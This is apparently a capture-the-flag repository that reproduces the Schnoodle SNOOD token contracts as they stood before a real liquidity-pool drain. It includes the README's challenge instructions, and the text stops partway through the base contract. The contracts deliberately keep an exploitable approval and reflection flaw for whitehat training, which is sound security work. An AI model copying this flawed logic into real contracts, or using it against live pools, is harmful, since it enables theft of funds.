├── .DS_Store ├── .gitignore ├── README.md ├── foundry.toml ├── remappings.txt ├── script └── Contract.s.sol ├── src ├── .DS_Store ├── SchnoodleV9.sol ├── access │ ├── AccessControlUpgradeable.sol │ ├── IAccessControlUpgradeable.sol │ └── OwnableUpgradable.sol ├── imports │ └── SchnoodleV9Base.sol ├── interfaces │ ├── IUniswapV2Pair.sol │ └── IWETH9.sol ├── proxy │ └── utils │ │ └── Initializable.sol ├── token │ ├── ERC20 │ │ └── IERC20Upgradeable.sol │ └── ERC777 │ │ ├── ERC777Upgradeable.sol │ │ ├── IERC777RecipientUpgradeable.sol │ │ ├── IERC777SenderUpgradeable.sol │ │ ├── IERC777Upgradeable.sol │ │ └── presets │ │ └── ERC777PresetFixedSupplyUpgradeable.sol └── utils │ ├── .DS_Store │ ├── AddressUpgradeable.sol │ ├── ContextUpgradeable.sol │ ├── StringsUpgradeable.sol │ ├── introspection │ ├── ERC165Upgradeable.sol │ ├── IERC165Upgradeable.sol │ └── IERC1820RegistryUpgradeable.sol │ └── math │ └── MathUpgradeable.sol └── test ├── SchnoodleHack.t.sol └── SchnoodleHackSolution.t.sol /.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unhackedctf/schnoodle/c12524939527a5d997036403bea38eabee2f62c2/.DS_Store -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # test/SchnoodleHackSolution.t.sol 2 | 3 | lib/ 4 | cache/ 5 | out/ 6 | 7 | trace.md -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## welcome to unhacked 2 | 3 | _unhacked_ is a weekly ctf, giving whitehats the chance to go back in time before real exploits and recover funds before the bad guys get them. 4 | 5 | _you are a whitehat, right anon?_ 6 | 7 | ## meet schnoodle 8 | 9 | [schnoodle](https://www.schnoodle.finance/) is a dao on ethereum mainnet, governed by the SNOOD token. 10 | 11 | after running smoothly for its first ~year, on 6/18, the ETH-SNOOD uniswap pair was drained for over 100 ETH. 12 | 13 | - token (proxy): [0xd45740ab9ec920bedbd9bab2e863519e59731941](https://etherscan.io/token/0xd45740ab9ec920bedbd9bab2e863519e59731941) 14 | - token (implementation): [0xeac2a259f3ebb8fd1097aeccaa62e73b6e43d5bf](https://etherscan.io/address/0xeac2a259f3ebb8fd1097aeccaa62e73b6e43d5bf) 15 | - uniswap pair [0x0f6b0960d2569f505126341085ed7f0342b67dae](https://etherscan.io/address/0x0f6b0960d2569f505126341085ed7f0342b67dae) 16 | 17 | review the code in this repo, find the exploit, and recover > 100 ETH. 18 | 19 | (hint: the issue is in the token implementation, so focus on `src/SchnoodleV9.sol` and `src/imports/SchnoodleV9Base.sol`. no need to look at the other files) 20 | 21 | ## how to play 22 | 23 | 1. fork this repo and clone it locally. 24 | 25 | 2. create an .env file with an environment variable for ETH_RPC_URL (or add the rpc url directly into the test file). 26 | 27 | 3. review the code in the `src/` folder, which contains all the code at the time of the hack. you can explore the state of the contract before the hack using block 14983600. ex: `cast call --rpc-url ${ETH_RPC_URL} --block 14983600 0xd45740ab9ec920bedbd9bab2e863519e59731941 "getFarmingFund()"` 28 | 29 | 4. when you find an exploit, code it up in `SchnoodleHack.t.sol`. run the test with `forge test -vvv`. the test will pass if you succeed. 30 | 31 | 5. post on twitter for bragging rights and tag [@unhackedctf](http://twitter.com/unhackedctf). no cheating. 32 | 33 | ## solution 34 | 35 | this contest is no longer live. [you can read a write up of the solution here](https://unhackedctf.substack.com/p/schnoodle-walkthrough-challenge-2) or find the solution code in `test/SchnoodleHackSolution.t.sol`. 36 | ## subscribe 37 | 38 | for new weekly challenges and solutions, subscribe to the [unhacked newsletter](https://unhackedctf.substack.com/publish/post/69864558). -------------------------------------------------------------------------------- /foundry.toml: -------------------------------------------------------------------------------- 1 | [profile.default] 2 | src = 'src' 3 | out = 'out' 4 | libs = ['lib'] 5 | 6 | # See more config options https://github.com/foundry-rs/foundry/tree/master/config -------------------------------------------------------------------------------- /remappings.txt: -------------------------------------------------------------------------------- 1 | ds-test/=lib/forge-std/lib/ds-test/src/ 2 | forge-std/=lib/forge-std/src/ -------------------------------------------------------------------------------- /script/Contract.s.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | import "forge-std/Script.sol"; 5 | 6 | contract ContractScript is Script { 7 | function setUp() public {} 8 | 9 | function run() public { 10 | vm.broadcast(); 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /src/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unhackedctf/schnoodle/c12524939527a5d997036403bea38eabee2f62c2/src/.DS_Store -------------------------------------------------------------------------------- /src/SchnoodleV9.sol: -------------------------------------------------------------------------------- 1 | // contracts/SchnoodleV9.sol 2 | // SPDX-License-Identifier: MIT 3 | pragma solidity ^0.8.0; 4 | 5 | import "./imports/SchnoodleV9Base.sol"; 6 | import "./access/AccessControlUpgradeable.sol"; 7 | 8 | /// @author Jason Payne (https://twitter.com/Neo42) 9 | contract SchnoodleV9 is SchnoodleV9Base, AccessControlUpgradeable { 10 | address private _schnoodleFarming; 11 | address private _farmingFund; 12 | uint256 private _sowRate; 13 | 14 | bytes32 public constant LIQUIDITY = keccak256("LIQUIDITY"); 15 | bytes32 public constant FARMING_CONTRACT = keccak256("FARMING_CONTRACT"); 16 | bytes32 public constant LOCKED = keccak256("LOCKED"); 17 | 18 | address private _bridgeOwner; 19 | mapping(address => mapping (uint256 => uint256)) private _tokensSent; 20 | mapping(address => mapping (uint256 => uint256)) private _tokensReceived; 21 | mapping(address => mapping (uint256 => uint256)) private _feesPaid; 22 | 23 | function configure(bool initialSetup, address liquidityToken, address schnoodleFarming, address bridgeOwner) external onlyOwner { 24 | if (initialSetup) { 25 | _setupRole(DEFAULT_ADMIN_ROLE, owner()); 26 | _setupRole(LIQUIDITY, liquidityToken); 27 | _setupRole(FARMING_CONTRACT, schnoodleFarming); 28 | _schnoodleFarming = schnoodleFarming; 29 | _farmingFund = address(uint160(uint256(keccak256(abi.encodePacked(block.timestamp, blockhash(block.number - 1)))))); 30 | _sowRate = 40; 31 | } 32 | 33 | _bridgeOwner = bridgeOwner; 34 | configure(initialSetup); 35 | } 36 | 37 | // Transfer overrides 38 | 39 | function _beforeTokenTransfer(address operator, address from, address to, uint256 amount) internal override { 40 | // Ensure the sender has enough unlocked balance to perform the transfer 41 | if (from != address(0)) { 42 | uint256 standardAmount = _getStandardAmount(amount); 43 | uint256 balance = balanceOf(from); 44 | require(standardAmount > balance || standardAmount <= balance - lockedBalanceOf(from), "Schnoodle: transfer amount exceeds unlocked balance"); 45 | require(!hasRole(LOCKED, from)); 46 | } 47 | 48 | super._beforeTokenTransfer(operator, from, to, amount); 49 | } 50 | 51 | function payFees(address to, uint256 amount, uint256 reflectedAmount) internal override { 52 | super.payFees(to, amount, reflectedAmount); 53 | payFund(to, _farmingFund, amount, _sowRate); 54 | } 55 | 56 | function isLiquidityToken(address account) internal view override returns(bool) 57 | { 58 | return hasRole(LIQUIDITY, account); 59 | } 60 | 61 | // Farming functions 62 | 63 | function getFarmingFund() external view returns (address) { 64 | return _farmingFund; 65 | } 66 | 67 | function changeSowRate(uint256 rate) external onlyOwner { 68 | _sowRate = rate; 69 | emit SowRateChanged(rate); 70 | } 71 | 72 | function getSowRate() external view returns (uint256) { 73 | return _sowRate; 74 | } 75 | 76 | function farmingReward(address account, uint256 netReward, uint256 grossReward) external { 77 | require(hasRole(FARMING_CONTRACT, _msgSender())); 78 | _transferFromReflected(_farmingFund, account, _getReflectedAmount(netReward)); 79 | 80 | // Burn the unused part of the gross reward 81 | _burn(_farmingFund, grossReward - netReward, "", ""); 82 | } 83 | 84 | function unlockedBalanceOf(address account) external returns (uint256) { 85 | return balanceOf(account) - lockedBalanceOf(account); 86 | } 87 | 88 | // Bridge functions 89 | 90 | function getBridgeOwner() external view returns (address) { 91 | return _bridgeOwner; 92 | } 93 | 94 | function sendTokens(uint256 networkId, uint256 amount) external { 95 | burn(amount, ""); 96 | _tokensSent[_msgSender()][networkId] += amount; 97 | } 98 | 99 | function payFee(uint256 networkId) external payable { 100 | _feesPaid[_msgSender()][networkId] += msg.value; 101 | payable(_bridgeOwner).transfer(msg.value); 102 | } 103 | 104 | function receiveTokens(address account, uint256 networkId, uint256 amount, uint256 fee) external { 105 | require(_msgSender() == _bridgeOwner, "Schnoodle: Sender must be the bridge owner"); 106 | require(_feesPaid[account][networkId] >= fee, "Schnoodle: Insufficient fee paid"); 107 | 108 | _feesPaid[account][networkId] -= fee; 109 | _mint(account, amount); 110 | _tokensReceived[account][networkId] += amount; 111 | } 112 | 113 | function tokensSent(address account, uint256 networkId) external view returns (uint256) { 114 | return _tokensSent[account][networkId]; 115 | } 116 | 117 | function tokensReceived(address account, uint256 networkId) external view returns (uint256) { 118 | return _tokensReceived[account][networkId]; 119 | } 120 | 121 | function feesPaid(address account, uint256 networkId) external view returns (uint256) { 122 | return _feesPaid[account][networkId]; 123 | } 124 | 125 | // Maintenance functions 126 | 127 | function maintenance() external onlyOwner { 128 | _maintenance(0x7731a6785a01ea6B606EB8FfAC7d7861c99Dc6BB); // Old treasury 129 | _maintenance(0x294Efa57cB8C5b0299980D8f1eE5F373Bd44a66d); // Cancelled VC deal 130 | _maintenance(0xC2B1d3b59C4a9e702AC3823C881417242Bba5830); // Cancelled VC deal 131 | _maintenance(0x79A1ddA6625Dc4842625EF05591e4f2322232120); // Exited early advisor 132 | _maintenance(0x5d22e32398CAE8F8448df5491b50C39B7F271016); // Exited early advisor 133 | _maintenance(0x587E1eB15a2E98B575f8f4925310684111Be9812); // Exited early advisor 134 | _maintenance(0x6D257D2dB115947dc0C75d285B4396a03C577E2E); // Ended partnership 135 | } 136 | 137 | function _maintenance(address sender) private { 138 | address recipient = address(0x78FC40ca8A23cf02654d4A5638Ba4d71BAcaa965); // Current treasury 139 | _revokeRole(LOCKED, sender); 140 | _send(sender, recipient, super.balanceOf(sender), "", "", true); 141 | } 142 | 143 | // Calls to the SchnoodleFarming proxy contract 144 | 145 | function lockedBalanceOf(address account) private returns(uint256) { 146 | if (_schnoodleFarming == address(0)) return 0; 147 | (bool success, bytes memory result) = _schnoodleFarming.call(abi.encodeWithSignature("lockedBalanceOf(address)", account)); 148 | assert(success); 149 | return abi.decode(result, (uint256)); 150 | } 151 | 152 | event SowRateChanged(uint256 rate); 153 | } -------------------------------------------------------------------------------- /src/access/AccessControlUpgradeable.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.6.0) (access/AccessControl.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "./IAccessControlUpgradeable.sol"; 7 | import "../utils/ContextUpgradeable.sol"; 8 | import "../utils/StringsUpgradeable.sol"; 9 | import "../utils/introspection/ERC165Upgradeable.sol"; 10 | import "../proxy/utils/Initializable.sol"; 11 | 12 | /** 13 | * @dev Contract module that allows children to implement role-based access 14 | * control mechanisms. This is a lightweight version that doesn't allow enumerating role 15 | * members except through off-chain means by accessing the contract event logs. Some 16 | * applications may benefit from on-chain enumerability, for those cases see 17 | * {AccessControlEnumerable}. 18 | * 19 | * Roles are referred to by their `bytes32` identifier. These should be exposed 20 | * in the external API and be unique. The best way to achieve this is by 21 | * using `public constant` hash digests: 22 | * 23 | * ``` 24 | * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); 25 | * ``` 26 | * 27 | * Roles can be used to represent a set of permissions. To restrict access to a 28 | * function call, use {hasRole}: 29 | * 30 | * ``` 31 | * function foo() public { 32 | * require(hasRole(MY_ROLE, msg.sender)); 33 | * ... 34 | * } 35 | * ``` 36 | * 37 | * Roles can be granted and revoked dynamically via the {grantRole} and 38 | * {revokeRole} functions. Each role has an associated admin role, and only 39 | * accounts that have a role's admin role can call {grantRole} and {revokeRole}. 40 | * 41 | * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means 42 | * that only accounts with this role will be able to grant or revoke other 43 | * roles. More complex role relationships can be created by using 44 | * {_setRoleAdmin}. 45 | * 46 | * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to 47 | * grant and revoke this role. Extra precautions should be taken to secure 48 | * accounts that have been granted it. 49 | */ 50 | abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable { 51 | function __AccessControl_init() internal onlyInitializing { 52 | } 53 | 54 | function __AccessControl_init_unchained() internal onlyInitializing { 55 | } 56 | struct RoleData { 57 | mapping(address => bool) members; 58 | bytes32 adminRole; 59 | } 60 | 61 | mapping(bytes32 => RoleData) private _roles; 62 | 63 | bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; 64 | 65 | /** 66 | * @dev Modifier that checks that an account has a specific role. Reverts 67 | * with a standardized message including the required role. 68 | * 69 | * The format of the revert reason is given by the following regular expression: 70 | * 71 | * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ 72 | * 73 | * _Available since v4.1._ 74 | */ 75 | modifier onlyRole(bytes32 role) { 76 | _checkRole(role); 77 | _; 78 | } 79 | 80 | /** 81 | * @dev See {IERC165-supportsInterface}. 82 | */ 83 | function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { 84 | return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId); 85 | } 86 | 87 | /** 88 | * @dev Returns `true` if `account` has been granted `role`. 89 | */ 90 | function hasRole(bytes32 role, address account) public view virtual override returns (bool) { 91 | return _roles[role].members[account]; 92 | } 93 | 94 | /** 95 | * @dev Revert with a standard message if `_msgSender()` is missing `role`. 96 | * Overriding this function changes the behavior of the {onlyRole} modifier. 97 | * 98 | * Format of the revert message is described in {_checkRole}. 99 | * 100 | * _Available since v4.6._ 101 | */ 102 | function _checkRole(bytes32 role) internal view virtual { 103 | _checkRole(role, _msgSender()); 104 | } 105 | 106 | /** 107 | * @dev Revert with a standard message if `account` is missing `role`. 108 | * 109 | * The format of the revert reason is given by the following regular expression: 110 | * 111 | * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ 112 | */ 113 | function _checkRole(bytes32 role, address account) internal view virtual { 114 | if (!hasRole(role, account)) { 115 | revert( 116 | string( 117 | abi.encodePacked( 118 | "AccessControl: account ", 119 | StringsUpgradeable.toHexString(uint160(account), 20), 120 | " is missing role ", 121 | StringsUpgradeable.toHexString(uint256(role), 32) 122 | ) 123 | ) 124 | ); 125 | } 126 | } 127 | 128 | /** 129 | * @dev Returns the admin role that controls `role`. See {grantRole} and 130 | * {revokeRole}. 131 | * 132 | * To change a role's admin, use {_setRoleAdmin}. 133 | */ 134 | function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) { 135 | return _roles[role].adminRole; 136 | } 137 | 138 | /** 139 | * @dev Grants `role` to `account`. 140 | * 141 | * If `account` had not been already granted `role`, emits a {RoleGranted} 142 | * event. 143 | * 144 | * Requirements: 145 | * 146 | * - the caller must have ``role``'s admin role. 147 | */ 148 | function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { 149 | _grantRole(role, account); 150 | } 151 | 152 | /** 153 | * @dev Revokes `role` from `account`. 154 | * 155 | * If `account` had been granted `role`, emits a {RoleRevoked} event. 156 | * 157 | * Requirements: 158 | * 159 | * - the caller must have ``role``'s admin role. 160 | */ 161 | function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { 162 | _revokeRole(role, account); 163 | } 164 | 165 | /** 166 | * @dev Revokes `role` from the calling account. 167 | * 168 | * Roles are often managed via {grantRole} and {revokeRole}: this function's 169 | * purpose is to provide a mechanism for accounts to lose their privileges 170 | * if they are compromised (such as when a trusted device is misplaced). 171 | * 172 | * If the calling account had been revoked `role`, emits a {RoleRevoked} 173 | * event. 174 | * 175 | * Requirements: 176 | * 177 | * - the caller must be `account`. 178 | */ 179 | function renounceRole(bytes32 role, address account) public virtual override { 180 | require(account == _msgSender(), "AccessControl: can only renounce roles for self"); 181 | 182 | _revokeRole(role, account); 183 | } 184 | 185 | /** 186 | * @dev Grants `role` to `account`. 187 | * 188 | * If `account` had not been already granted `role`, emits a {RoleGranted} 189 | * event. Note that unlike {grantRole}, this function doesn't perform any 190 | * checks on the calling account. 191 | * 192 | * [WARNING] 193 | * ==== 194 | * This function should only be called from the constructor when setting 195 | * up the initial roles for the system. 196 | * 197 | * Using this function in any other way is effectively circumventing the admin 198 | * system imposed by {AccessControl}. 199 | * ==== 200 | * 201 | * NOTE: This function is deprecated in favor of {_grantRole}. 202 | */ 203 | function _setupRole(bytes32 role, address account) internal virtual { 204 | _grantRole(role, account); 205 | } 206 | 207 | /** 208 | * @dev Sets `adminRole` as ``role``'s admin role. 209 | * 210 | * Emits a {RoleAdminChanged} event. 211 | */ 212 | function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { 213 | bytes32 previousAdminRole = getRoleAdmin(role); 214 | _roles[role].adminRole = adminRole; 215 | emit RoleAdminChanged(role, previousAdminRole, adminRole); 216 | } 217 | 218 | /** 219 | * @dev Grants `role` to `account`. 220 | * 221 | * Internal function without access restriction. 222 | */ 223 | function _grantRole(bytes32 role, address account) internal virtual { 224 | if (!hasRole(role, account)) { 225 | _roles[role].members[account] = true; 226 | emit RoleGranted(role, account, _msgSender()); 227 | } 228 | } 229 | 230 | /** 231 | * @dev Revokes `role` from `account`. 232 | * 233 | * Internal function without access restriction. 234 | */ 235 | function _revokeRole(bytes32 role, address account) internal virtual { 236 | if (hasRole(role, account)) { 237 | _roles[role].members[account] = false; 238 | emit RoleRevoked(role, account, _msgSender()); 239 | } 240 | } 241 | 242 | /** 243 | * @dev This empty reserved space is put in place to allow future versions to add new 244 | * variables without shifting down storage in the inheritance chain. 245 | * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps 246 | */ 247 | uint256[49] private __gap; 248 | } -------------------------------------------------------------------------------- /src/access/IAccessControlUpgradeable.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | /** 7 | * @dev External interface of AccessControl declared to support ERC165 detection. 8 | */ 9 | interface IAccessControlUpgradeable { 10 | /** 11 | * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` 12 | * 13 | * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite 14 | * {RoleAdminChanged} not being emitted signaling this. 15 | * 16 | * _Available since v3.1._ 17 | */ 18 | event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); 19 | 20 | /** 21 | * @dev Emitted when `account` is granted `role`. 22 | * 23 | * `sender` is the account that originated the contract call, an admin role 24 | * bearer except when using {AccessControl-_setupRole}. 25 | */ 26 | event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); 27 | 28 | /** 29 | * @dev Emitted when `account` is revoked `role`. 30 | * 31 | * `sender` is the account that originated the contract call: 32 | * - if using `revokeRole`, it is the admin role bearer 33 | * - if using `renounceRole`, it is the role bearer (i.e. `account`) 34 | */ 35 | event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); 36 | 37 | /** 38 | * @dev Returns `true` if `account` has been granted `role`. 39 | */ 40 | function hasRole(bytes32 role, address account) external view returns (bool); 41 | 42 | /** 43 | * @dev Returns the admin role that controls `role`. See {grantRole} and 44 | * {revokeRole}. 45 | * 46 | * To change a role's admin, use {AccessControl-_setRoleAdmin}. 47 | */ 48 | function getRoleAdmin(bytes32 role) external view returns (bytes32); 49 | 50 | /** 51 | * @dev Grants `role` to `account`. 52 | * 53 | * If `account` had not been already granted `role`, emits a {RoleGranted} 54 | * event. 55 | * 56 | * Requirements: 57 | * 58 | * - the caller must have ``role``'s admin role. 59 | */ 60 | function grantRole(bytes32 role, address account) external; 61 | 62 | /** 63 | * @dev Revokes `role` from `account`. 64 | * 65 | * If `account` had been granted `role`, emits a {RoleRevoked} event. 66 | * 67 | * Requirements: 68 | * 69 | * - the caller must have ``role``'s admin role. 70 | */ 71 | function revokeRole(bytes32 role, address account) external; 72 | 73 | /** 74 | * @dev Revokes `role` from the calling account. 75 | * 76 | * Roles are often managed via {grantRole} and {revokeRole}: this function's 77 | * purpose is to provide a mechanism for accounts to lose their privileges 78 | * if they are compromised (such as when a trusted device is misplaced). 79 | * 80 | * If the calling account had been granted `role`, emits a {RoleRevoked} 81 | * event. 82 | * 83 | * Requirements: 84 | * 85 | * - the caller must be `account`. 86 | */ 87 | function renounceRole(bytes32 role, address account) external; 88 | } 89 | -------------------------------------------------------------------------------- /src/access/OwnableUpgradable.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../utils/ContextUpgradeable.sol"; 7 | import "../proxy/utils/Initializable.sol"; 8 | 9 | /** 10 | * @dev Contract module which provides a basic access control mechanism, where 11 | * there is an account (an owner) that can be granted exclusive access to 12 | * specific functions. 13 | * 14 | * By default, the owner account will be the one that deploys the contract. This 15 | * can later be changed with {transferOwnership}. 16 | * 17 | * This module is used through inheritance. It will make available the modifier 18 | * `onlyOwner`, which can be applied to your functions to restrict their use to 19 | * the owner. 20 | */ 21 | abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { 22 | address private _owner; 23 | 24 | event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); 25 | 26 | /** 27 | * @dev Initializes the contract setting the deployer as the initial owner. 28 | */ 29 | function __Ownable_init() internal onlyInitializing { 30 | __Ownable_init_unchained(); 31 | } 32 | 33 | function __Ownable_init_unchained() internal onlyInitializing { 34 | _transferOwnership(_msgSender()); 35 | } 36 | 37 | /** 38 | * @dev Returns the address of the current owner. 39 | */ 40 | function owner() public view virtual returns (address) { 41 | return _owner; 42 | } 43 | 44 | /** 45 | * @dev Throws if called by any account other than the owner. 46 | */ 47 | modifier onlyOwner() { 48 | require(owner() == _msgSender(), "Ownable: caller is not the owner"); 49 | _; 50 | } 51 | 52 | /** 53 | * @dev Leaves the contract without owner. It will not be possible to call 54 | * `onlyOwner` functions anymore. Can only be called by the current owner. 55 | * 56 | * NOTE: Renouncing ownership will leave the contract without an owner, 57 | * thereby removing any functionality that is only available to the owner. 58 | */ 59 | function renounceOwnership() public virtual onlyOwner { 60 | _transferOwnership(address(0)); 61 | } 62 | 63 | /** 64 | * @dev Transfers ownership of the contract to a new account (`newOwner`). 65 | * Can only be called by the current owner. 66 | */ 67 | function transferOwnership(address newOwner) public virtual onlyOwner { 68 | require(newOwner != address(0), "Ownable: new owner is the zero address"); 69 | _transferOwnership(newOwner); 70 | } 71 | 72 | /** 73 | * @dev Transfers ownership of the contract to a new account (`newOwner`). 74 | * Internal function without access restriction. 75 | */ 76 | function _transferOwnership(address newOwner) internal virtual { 77 | address oldOwner = _owner; 78 | _owner = newOwner; 79 | emit OwnershipTransferred(oldOwner, newOwner); 80 | } 81 | 82 | /** 83 | * @dev This empty reserved space is put in place to allow future versions to add new 84 | * variables without shifting down storage in the inheritance chain. 85 | * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps 86 | */ 87 | uint256[49] private __gap; 88 | } -------------------------------------------------------------------------------- /src/imports/SchnoodleV9Base.sol: -------------------------------------------------------------------------------- 1 | // contracts/imports/SchnoodleV9Base.sol 2 | // SPDX-License-Identifier: MIT 3 | pragma solidity ^0.8.0; 4 | 5 | import "../proxy/utils/Initializable.sol"; 6 | import "../token/ERC777/presets/ERC777PresetFixedSupplyUpgradeable.sol"; 7 | import "../access/OwnableUpgradable.sol"; 8 | import "../utils/math/MathUpgradeable.sol"; 9 | 10 | abstract contract SchnoodleV9Base is ERC777PresetFixedSupplyUpgradeable, OwnableUpgradeable { 11 | uint256 private constant MAX = ~uint256(0); 12 | uint256 private _totalSupply; 13 | uint256 private _feeRate; 14 | address private _eleemosynaryAccount; 15 | uint256 private _donationRate; 16 | uint256 private _sellThreshold; 17 | TokenMeter private _sellQuota; 18 | uint256 private _rateEscalator; 19 | 20 | struct TokenMeter { 21 | uint256 blockMetric; 22 | int256 amount; 23 | } 24 | 25 | function initialize(uint256 initialTokens, address serviceAccount) public initializer { 26 | __Ownable_init(); 27 | _totalSupply = initialTokens * 10 ** decimals(); 28 | __ERC777PresetFixedSupply_init("Schnoodle", "SNOOD", new address[](0), MAX - (MAX % totalSupply()), serviceAccount); 29 | } 30 | 31 | function configure(bool initialSetup) internal onlyOwner { 32 | if (initialSetup) { 33 | _feeRate = 40; 34 | _rateEscalator = 6; 35 | _sellThreshold = 10 ** 9 * 10 ** decimals(); 36 | } 37 | } 38 | 39 | // Transfer overrides 40 | 41 | function totalSupply() public view override returns (uint256) { 42 | return _totalSupply; 43 | } 44 | 45 | function balanceOf(address account) public view override returns (uint256) { 46 | return _getStandardAmount(super.balanceOf(account)); 47 | } 48 | 49 | function allowance(address holder, address spender) public view override returns (uint256) { 50 | return _getStandardAmount(super.allowance(holder, spender)); 51 | } 52 | 53 | function _approve(address holder, address spender, uint256 value) internal override { 54 | super._approve(holder, spender, _getReflectedAmount(value)); 55 | } 56 | 57 | function _spendAllowance(address owner, address spender, uint256 amount) internal override { 58 | super._spendAllowance(owner, spender, _getStandardAmount(amount)); 59 | } 60 | 61 | function _mint(address account, uint256 amount) internal { 62 | super._mint(account, _getReflectedAmount(amount), "", ""); 63 | _totalSupply += amount; 64 | } 65 | 66 | function _burn(address account, uint256 amount, bytes memory data, bytes memory operatorData) internal override { 67 | super._burn(account, _getReflectedAmount(amount), data, operatorData); 68 | _totalSupply -= amount; 69 | } 70 | 71 | function _send(address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData, bool requireReceptionAck) internal override { 72 | uint256 reflectedAmount = _getReflectedAmount(amount); 73 | super._send(from, to, reflectedAmount, userData, operatorData, requireReceptionAck); 74 | processSwap(from, to, amount, reflectedAmount); 75 | } 76 | 77 | function _transformAmount(uint256 amount) internal view override returns (uint256) { 78 | return _getStandardAmount(amount); 79 | } 80 | 81 | // Reflection convenience functions 82 | 83 | function _transferFromReflected(address from, address to, uint256 reflectedAmount) internal { 84 | super._approve(from, _msgSender(), reflectedAmount); 85 | super.transferFrom(from, to, reflectedAmount); 86 | } 87 | 88 | function _getReflectedAmount(uint256 amount) internal view returns(uint256) { 89 | return amount * _getReflectRate(); 90 | } 91 | 92 | function _getStandardAmount(uint256 reflectedAmount) internal view returns(uint256) { 93 | // Condition prevents a divide-by-zero error when the total supply is zero 94 | return reflectedAmount == 0 ? 0 : reflectedAmount / _getReflectRate(); 95 | } 96 | 97 | function _getReflectRate() private view returns(uint256) { 98 | uint256 reflectedTotalSupply = super.totalSupply(); 99 | return reflectedTotalSupply == 0 ? 0 : reflectedTotalSupply / totalSupply(); 100 | } 101 | 102 | // Taxation functions 103 | 104 | function processSwap(address from, address to, uint256 amount, uint256 reflectedAmount) internal virtual { 105 | bool buy = isLiquidityToken(from); 106 | bool sell = !buy && isLiquidityToken(to); 107 | 108 | // Maintain a sell quota as the net of all daily buys and sells, plus a predefined threshold 109 | if (_sellThreshold > 0) { 110 | uint256 blockTimestamp = block.timestamp; 111 | 112 | if (_sellQuota.blockMetric == 0 || _sellQuota.blockMetric < blockTimestamp - 1 days) { 113 | _sellQuota.blockMetric = blockTimestamp; 114 | _sellQuota.amount = int256(_sellThreshold); 115 | emit SellQuotaChanged(_sellQuota.blockMetric, _sellQuota.amount); 116 | } 117 | 118 | _sellQuota.amount += (buy ? int256(1) : (sell ? -1 : int256(0))) * int256(amount); 119 | emit SellQuotaChanged(_sellQuota.blockMetric, _sellQuota.amount); 120 | } 121 | 122 | // Proceed to pay fee and tax if only a sell at this point 123 | if (!sell) return; 124 | 125 | payFees(to, amount, reflectedAmount); 126 | } 127 | 128 | function isLiquidityToken(address) internal view virtual returns(bool); 129 | 130 | function payFees(address to, uint256 amount, uint256 reflectedAmount) internal virtual { 131 | uint256 operativeFeeRate = getOperativeFeeRate(); 132 | super._burn(to, reflectedAmount / 1000 * operativeFeeRate, "", ""); 133 | 134 | payFund(to, _eleemosynaryAccount, amount, _donationRate); 135 | } 136 | 137 | function payFund(address from, address to, uint256 amount, uint256 rate) internal { 138 | // Skip if not enabled ('to' address not set) 139 | if (to != address(0)) { 140 | uint256 fundAmount = amount * rate / 1000; 141 | uint256 reflectedFundAmount = _getReflectedAmount(fundAmount); 142 | super._send(from, to, reflectedFundAmount, "", "", true); 143 | } 144 | } 145 | 146 | function changeFeeRate(uint256 rate) external onlyOwner { 147 | _feeRate = rate; 148 | emit FeeRateChanged(rate); 149 | } 150 | 151 | function getFeeRate() external view returns(uint256) { 152 | return _feeRate; 153 | } 154 | 155 | function getOperativeFeeRate() public view returns(uint256) { 156 | // Increase the fee linearly when the sell quota is negative (more daily sells than buys including the predefined threshold) 157 | if (_sellThreshold > 0 && _sellQuota.amount < 0) 158 | { 159 | return _feeRate + _feeRate * _rateEscalator * MathUpgradeable.min(uint256(-_sellQuota.amount), _sellThreshold) / _sellThreshold; 160 | } 161 | 162 | return _feeRate; 163 | } 164 | 165 | function changeEleemosynaryDetails(address eleemosynaryAccount, uint256 donationRate) external onlyOwner { 166 | _eleemosynaryAccount = eleemosynaryAccount; 167 | _donationRate = donationRate; 168 | emit EleemosynaryDetailsChanged(eleemosynaryAccount, donationRate); 169 | } 170 | 171 | function getEleemosynaryDetails() external view returns(address, uint256) { 172 | return (_eleemosynaryAccount, _donationRate); 173 | } 174 | 175 